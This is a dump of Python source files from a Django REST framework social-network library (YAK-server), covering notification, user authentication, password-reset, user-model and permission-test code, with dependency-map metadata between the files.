["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,207
jaydenwindle/YAK-server
refs/heads/master
/yak/rest_notifications/views.py
from rest_framework import mixins, generics, status from rest_framework.exceptions import AuthenticationFailed from rest_framework.response import Response from rest_framework.viewsets import GenericViewSet from pypushwoosh import client, constants from pypushwoosh.command import RegisterDeviceCommand from yak.rest_core.permissions import IsOwner from yak.rest_notifications.models import NotificationSetting, Notification, create_notification, \ PushwooshToken, NotificationType from yak.rest_notifications.serializers import NotificationSettingSerializer, NotificationSerializer, \ PushwooshTokenSerializer from yak.rest_social_network.views import CommentViewSet, FollowViewSet, ShareViewSet, LikeViewSet from yak.settings import yak_settings class PushwooshTokenView(generics.CreateAPIView): queryset = PushwooshToken.objects.all() serializer_class = PushwooshTokenSerializer permission_classes = (IsOwner,) def perform_create(self, serializer): hwid = serializer.validated_data.pop("hwid") language = serializer.validated_data.pop("language") platform = serializer.validated_data.pop("platform") platform_code = constants.PLATFORM_IOS if platform == 'android': platform_code = constants.PLATFORM_ANDROID push_client = client.PushwooshClient() command = RegisterDeviceCommand(yak_settings.PUSHWOOSH_APP_CODE, hwid, platform_code, serializer.validated_data["token"], language) response = push_client.invoke(command) if response["status_code"] != 200: raise AuthenticationFailed("Authentication with notification service failed") serializer.save(user=self.request.user) class NotificationSettingViewSet(mixins.UpdateModelMixin, mixins.ListModelMixin, GenericViewSet): queryset = NotificationSetting.objects.all() serializer_class = NotificationSettingSerializer permission_classes = (IsOwner,) def perform_update(self, serializer): serializer.save(user=self.request.user) def get_queryset(self): return self.queryset.filter(user=self.request.user) def put(self, request, *args, **kwargs): queryset = self.get_queryset() serializer = self.get_serializer(queryset, data=request.data, many=True, partial=True) serializer.is_valid(raise_exception=True) serializer.save() return Response(serializer.data, status=status.HTTP_200_OK) class NotificationView(generics.ListAPIView): queryset = Notification.objects.all() serializer_class = NotificationSerializer permission_classes = (IsOwner,) def get_queryset(self): return self.queryset.filter(user=self.request.user) class NotificationCommentViewSet(CommentViewSet): def perform_create(self, serializer): obj = serializer.save(user=self.request.user) notification_type = NotificationType.objects.get(slug="comment") create_notification(obj.content_object.user, obj.user, obj.content_object, notification_type) class NotificationFollowViewSet(FollowViewSet): def perform_create(self, serializer): obj = serializer.save(user=self.request.user) notification_type = NotificationType.objects.get(slug="follow") create_notification(obj.content_object, obj.user, obj.content_object, notification_type) class NotificationShareViewSet(ShareViewSet): def perform_create(self, serializer): obj = serializer.save(user=self.request.user) notification_type = NotificationType.objects.get(slug="share") for receiver in obj.shared_with.all(): create_notification(receiver, obj.user, obj.content_object, notification_type) class NotificationLikeViewSet(LikeViewSet): def perform_create(self, serializer): obj = serializer.save(user=self.request.user) notification_type = NotificationType.objects.get(slug="like") create_notification(obj.content_object.user, obj.user, obj.content_object, notification_type)
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,208
jaydenwindle/YAK-server
refs/heads/master
/yak/rest_user/urls.py
from django.conf.urls import url, include from yak.rest_user import views from rest_framework import routers router = routers.DefaultRouter() router.register(r'users', views.UserViewSet, base_name='users') urlpatterns = [ url(r'^', include(router.urls)), url(r'^sign_up/$', views.SignUp.as_view(), name="sign_up"), url(r'^login/$', views.Login.as_view(), name="login"), url(r'^sign_in/$', views.SignIn.as_view(), name="sign_in"), url(r'^password/change/$', views.PasswordChangeView.as_view(), name="password_change"), url(r'^password/reset/$', views.PasswordResetView.as_view(), name="password_reset"), url(r'^password/new/$', views.PasswordSetView.as_view(), name="password_new"), url(r'^o/', include('oauth2_provider.urls', namespace='oauth2_provider')), ]
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,209
jaydenwindle/YAK-server
refs/heads/master
/yak/rest_social_auth/backends/yak_tumblr.py
from social_core.backends.tumblr import TumblrOAuth from yak.rest_social_auth.backends.base import ExtraDataAbstractMixin, ExtraActionsAbstractMixin class Tumblr(ExtraActionsAbstractMixin, ExtraDataAbstractMixin, TumblrOAuth): @staticmethod def save_extra_data(response, user): return @staticmethod def get_profile_image(strategy, details, response, uid, user, social, is_new=False, *args, **kwargs): return response['avatar_url'] @staticmethod def post(user_social_auth, social_obj): return @staticmethod def get_friends(user_social_auth): return @staticmethod def get_posts(user_social_auth, last_updated_time): return
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,210
jaydenwindle/YAK-server
refs/heads/master
/yak/rest_user/utils.py
from django.conf import settings from django.contrib.auth import get_user_model from django.contrib.auth.tokens import default_token_generator from django.contrib.sites.shortcuts import get_current_site from django.template import loader from django.utils.encoding import force_bytes from django.utils.http import urlsafe_base64_encode from oauth2_provider.models import Application def create_auth_client(sender, instance=None, created=False, **kwargs): """ Intended to be used as a receiver function for a `post_save` signal on a custom User model Creates client_id and client_secret for authenicated users """ if created: Application.objects.create(user=instance, client_type=Application.CLIENT_CONFIDENTIAL, authorization_grant_type=Application.GRANT_CLIENT_CREDENTIALS) def reset_password(request, email, subject_template_name='users/password_reset_subject.txt', rich_template_name='users/password_reset_email_rich.html', template_name='users/password_reset_email.html'): """ Inspired by Django's `PasswordResetForm.save()`. Extracted for reuse. Allows password reset emails to be sent to users with unusable passwords """ from django.core.mail import send_mail UserModel = get_user_model() active_users = UserModel._default_manager.filter(email__iexact=email, is_active=True) for user in active_users: current_site = get_current_site(request) site_name = current_site.name domain = current_site.domain c = { 'email': user.email, 'domain': domain, 'site_name': site_name, 'uid': urlsafe_base64_encode(force_bytes(user.pk)).decode(), 'user': user, 'token': default_token_generator.make_token(user), 'protocol': 'http', # Your site can handle its own redirects } subject = loader.render_to_string(subject_template_name, c) # Email subject *must not* contain newlines subject = ''.join(subject.splitlines()) email = loader.render_to_string(template_name, c) html_email = loader.render_to_string(rich_template_name, c) send_mail(subject, email, settings.DEFAULT_FROM_EMAIL, [user.email], html_message=html_email)
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,211
jaydenwindle/YAK-server
refs/heads/master
/yak/rest_user/views.py
import base64 from django.contrib.auth import get_user_model, authenticate from django.contrib.auth.tokens import default_token_generator from django.utils.http import urlsafe_base64_decode from rest_framework import viewsets, generics, status, views from rest_framework.authentication import BasicAuthentication from rest_framework.decorators import list_route from rest_framework.permissions import AllowAny, IsAuthenticated from rest_framework.response import Response from rest_framework.exceptions import AuthenticationFailed from yak.rest_core.permissions import IsOwnerOrReadOnly from yak.rest_user.permissions import IsAuthenticatedOrCreate from yak.rest_user.serializers import SignUpSerializer, LoginSerializer, PasswordChangeSerializer, UserSerializer, \ PasswordResetSerializer, PasswordSetSerializer from yak.rest_user.utils import reset_password User = get_user_model() class SignUp(generics.CreateAPIView): queryset = User.objects.all() serializer_class = SignUpSerializer permission_classes = (IsAuthenticatedOrCreate,) class Login(generics.ListAPIView): queryset = User.objects.all() serializer_class = LoginSerializer authentication_classes = (BasicAuthentication,) def get_queryset(self): queryset = super(Login, self).get_queryset() return queryset.filter(pk=self.request.user.pk) class SignIn(views.APIView): """ Same function as `Login` but doesn't use basic auth. This is for web clients, so we don't see a browser popup for basic auth. """ permission_classes = (AllowAny,) def post(self, request, *args, **kwargs): if 'username' not in request.data: msg = 'Username required' raise AuthenticationFailed(msg) elif 'password' not in request.data: msg = 'Password required' raise AuthenticationFailed(msg) user = authenticate(username=request.data['username'], password=request.data['password']) if user is None or not user.is_active: raise AuthenticationFailed('Invalid username or password') serializer = LoginSerializer(instance=user) return Response(serializer.data, status=200) class UserViewSet(viewsets.ModelViewSet): queryset = User.objects.all() serializer_class = UserSerializer permission_classes = (IsOwnerOrReadOnly,) search_fields = ('username', 'fullname') @list_route(methods=["get"]) def me(self, request): if request.user.is_authenticated: serializer = self.get_serializer(instance=request.user) return Response(serializer.data) else: return Response({"errors": "User is not authenticated"}, status=status.HTTP_400_BAD_REQUEST) class PasswordChangeView(views.APIView): permission_classes = (IsAuthenticated,) def patch(self, request, *args, **kwargs): if not request.user.check_password(base64.decodebytes(bytes(request.data['old_password'], 'utf8'))): raise AuthenticationFailed("Old password was incorrect") serializer = PasswordChangeSerializer(data=request.data) serializer.is_valid(raise_exception=True) request.user.set_password(serializer.data['password']) request.user.save() return Response({'status': 'password set'}) class PasswordResetView(views.APIView): permission_classes = (AllowAny,) def post(self, request, *args, **kwargs): serializer = PasswordResetSerializer(data=request.data) serializer.is_valid(raise_exception=True) reset_password(request, serializer.data['email']) return Response({'status': 'password reset'}) class PasswordSetView(views.APIView): permission_classes = (AllowAny,) def post(self, request, *args, **kwargs): serializer = PasswordSetSerializer(data=request.data) serializer.is_valid(raise_exception=True) try: uid = urlsafe_base64_decode(serializer.data['uid']) user = User._default_manager.get(pk=uid) except (TypeError, ValueError, OverflowError, User.DoesNotExist): user = None if user is not None and default_token_generator.check_token(user, serializer.data['token']): user.set_password(serializer.data['password']) user.save() return Response(UserSerializer(instance=user, context={'request': request}).data) else: return Response({"errors": "Password reset unsuccessful"}, status=status.HTTP_400_BAD_REQUEST)
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,212
jaydenwindle/YAK-server
refs/heads/master
/yak/rest_user/models.py
from django.core import validators from django.db import models from django.utils import timezone from django.utils.translation import ugettext_lazy as _ from django.contrib.auth.models import AbstractBaseUser, PermissionsMixin, UserManager class AbstractYeti(AbstractBaseUser, PermissionsMixin): username = models.CharField(_('username'), max_length=30, unique=True, help_text=_('Required. 30 characters or fewer. Letters, digits and ' '@/./+/-/_ only.'), validators=[ validators.RegexValidator(r'^[\w.@+-]+$', _('Enter a valid username.'), 'invalid') ]) # Field name should be `fullname` instead of `full_name` for python-social-auth fullname = models.CharField(max_length=80, blank=True, null=True) email = models.EmailField(blank=True, null=True, unique=True) about = models.TextField(blank=True, null=True) is_active = models.BooleanField(_('active'), default=True, help_text=_('Designates whether this user should be treated as ' 'active. Unselect this instead of deleting accounts.')) is_admin = models.BooleanField(default=False) is_staff = models.BooleanField(_('staff status'), default=False, help_text=_('Designates whether the user can log into this admin ' 'site.')) date_joined = models.DateTimeField(_('date joined'), default=timezone.now) SIZES = { 'thumbnail': {'height': 60, 'width': 60}, 'small_photo': {'height': 120, 'width': 120}, 'large_photo': {'height': 300, 'width': 300} } original_file_name = "original_photo" original_photo = models.ImageField(upload_to="user_photos/original/", blank=True, null=True) small_photo = models.ImageField(upload_to="user_photos/small/", blank=True, null=True) large_photo = models.ImageField(upload_to="user_photos/large/", blank=True, null=True) thumbnail = models.ImageField(upload_to="user_photos/thumbnail/", blank=True, null=True) objects = UserManager() USERNAME_FIELD = 'username' # Used for `createsuperuser` command and nowhere else. Include any fields that cannot be blank REQUIRED_FIELDS = ['email'] class Meta: abstract = True def __unicode__(self): return "{}".format(self.username) def save(self, force_insert=False, force_update=False, using=None, update_fields=None): self.username = self.username.lower() if self.email: self.email = self.email.lower().strip() # Remove leading or trailing white space if self.email == "": # Allows unique=True to work without forcing email presence in forms self.email = None super(AbstractYeti, self).save(force_insert, force_update, using, update_fields)
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,213
jaydenwindle/YAK-server
refs/heads/master
/test_project/test_app/tests/test_permissions.py
from rest_framework.reverse import reverse from test_project.test_app.models import Post from test_project.test_app.tests.factories import UserFactory from yak.rest_core.test import SchemaTestCase class PermissionsTests(SchemaTestCase): def test_only_authed_user_can_create_post(self): """ For default permission `IsOwnerOrReadOnly` verifies that any logged in user can create a post Non-authenticated users cannot create a post """ url = reverse("posts-list") old_post_count = Post.objects.count() data = { "title": "i'm not logged in", "description": "so this shouldn't work" } self.assertSchemaPost(url, "$postRequest", "$postResponse", data, None, unauthorized=True) self.assertEqual(old_post_count, Post.objects.count()) self.assertSchemaPost(url, "$postRequest", "$postResponse", data, UserFactory()) self.assertEqual(old_post_count + 1, Post.objects.count())
